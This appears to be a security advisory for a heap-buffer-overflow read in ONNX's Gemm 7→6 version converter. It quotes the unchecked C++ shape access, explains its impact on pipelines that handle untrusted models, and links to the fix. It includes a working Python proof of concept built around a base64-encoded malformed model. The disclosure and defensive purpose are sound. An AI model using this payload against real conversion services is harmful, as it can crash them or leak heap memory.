ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape
### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. ### Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } ``` The PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. **Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). ### PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) # Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. ### Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.
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| ID | severity | exploitable | ||
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| CVE-2026-63632US | — | — | ||
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references
External citations — patches, advisories, analysis.
- https://github.com/advisories/GHSA-p893-rvq9-2xf9ADVISORY
- https://github.com/onnx/onnxPACKAGE
- https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66WEB
- https://github.com/onnx/onnx/pull/7880WEB
- https://github.com/onnx/onnx/releases/tag/v1.22.0WEB
- https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-63632ADVISORY
- https://pypi.org/project/onnxPACKAGE
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